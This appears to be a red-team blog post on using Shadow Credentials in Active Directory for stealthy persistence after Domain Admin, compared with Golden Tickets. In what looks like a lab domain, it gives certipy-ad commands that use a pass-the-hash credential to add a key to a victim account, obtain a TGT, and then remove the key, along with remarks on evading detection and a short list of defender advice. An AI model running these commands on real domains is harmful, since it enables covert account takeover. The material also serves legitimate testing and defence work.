Shadow Credentials

A lot of people hit DA and immediately reach for a Golden Ticket. That shows impact. It does not buy you time. In most environments, it does the opposite.

Forged Kerberos artifacts are one of the most heavily monitored post exploitation techniques today. If your goal is persistence that survives real logging and real defenders, forging identity is the wrong direction. You want to live inside the authentication paths the domain already trusts.

Why Golden Tickets Don’t Age Well

Golden Tickets interfere directly with Kerberos trust. That interference leaves fingerprints, and defenders know exactly where to look.

Common detection points include RC4 usage in domains that have standardized on AES, ticket lifetimes that make no sense operationally, and odd issuance patterns that stick out in KDC telemetry. Even worse, a double KRBTGT rotation wipes every forged ticket instantly.

The Better Option: Modern Authentication Abuse

Active Directory already supports strong, certificate based authentication. That functionality is backed by a single attribute:

msDS-KeyCredentialLink

This attribute is what enables Windows Hello for Business, FIDO2 keys, and other key based logon mechanisms. If you control the domain, you can write to it.

That is the shift. Instead of forging Kerberos state, you register your own key material on a user account. From the directory’s perspective, you are not breaking authentication. You are enrolling an authenticator.

What It Looks Like in Practice

Assume Domain Admin in essos.local.

First, add a key credential to the target account.

certipy-ad shadow add \
  -u 'Administrator@essos.local' \
  -hashes :54296a48cd30259cc88095373cec24da \
  -account 'daenerys.targaryen' \
  -dc-ip 10.3.10.12

This writes a new key to msDS-KeyCredentialLink.

There is no password reset. No SPN manipulation. No synthetic Kerberos artifact. From a logging standpoint, this is just a directory object modification.

In most environments it surfaces as Event ID 5136. Teams usually collect it. Very few alert on this specific attribute.

Once the key is in place, authenticate normally using the certificate.

certipy-ad auth \
  -pfx daenerys.targaryen.pfx \
  -dc-ip 10.3.10.12 \
  -username 'daenerys.targaryen' \
  -domain 'essos.local'

The domain controller validates the certificate and issues a legitimate TGT. There is no downgrade, no abnormal lifetime, no forged ticket. To telemetry, this looks like strong modern authentication.

Why This Outlives Golden Tickets

Golden Ticket persistence relies on defenders missing Kerberos anomalies and the KRBTGT password staying static.

Shadow Credential persistence relies on an attribute remaining populated and defenders actually auditing key registrations.

In environments that already use Windows Hello or FIDO, this traffic blends in cleanly. Even in environments that do not, most teams are not baselining msDS-KeyCredentialLink at all.

Clean Up Matters

Every injected key comes with a DeviceID. Leaving it behind is sloppy.

Directory audits will eventually surface unexplained key registrations. Teams correlating device enrollments to hardware will notice drift.

Removal is explicit.

certipy-ad shadow remove \
  -u 'Administrator@essos.local' \
  -hashes :54296a48cd30259cc88095373cec24da \
  -account 'daenerys.targaryen' \
  -device-id '1c381fb8c9af469e8855067b77f51369' \
  -dc-ip 10.3.10.12

If you are operating offensively, clean exits are part of the job. If you are defending, you should be able to see both the add and the removal.

For Defenders

If you run Active Directory and care about post compromise persistence:

• Monitor Event ID 5136.
• Parse changes to msDS-KeyCredentialLink.
• Baseline legitimate Windows Hello and FIDO usage.
• Treat unexpected key registrations as high signal activity.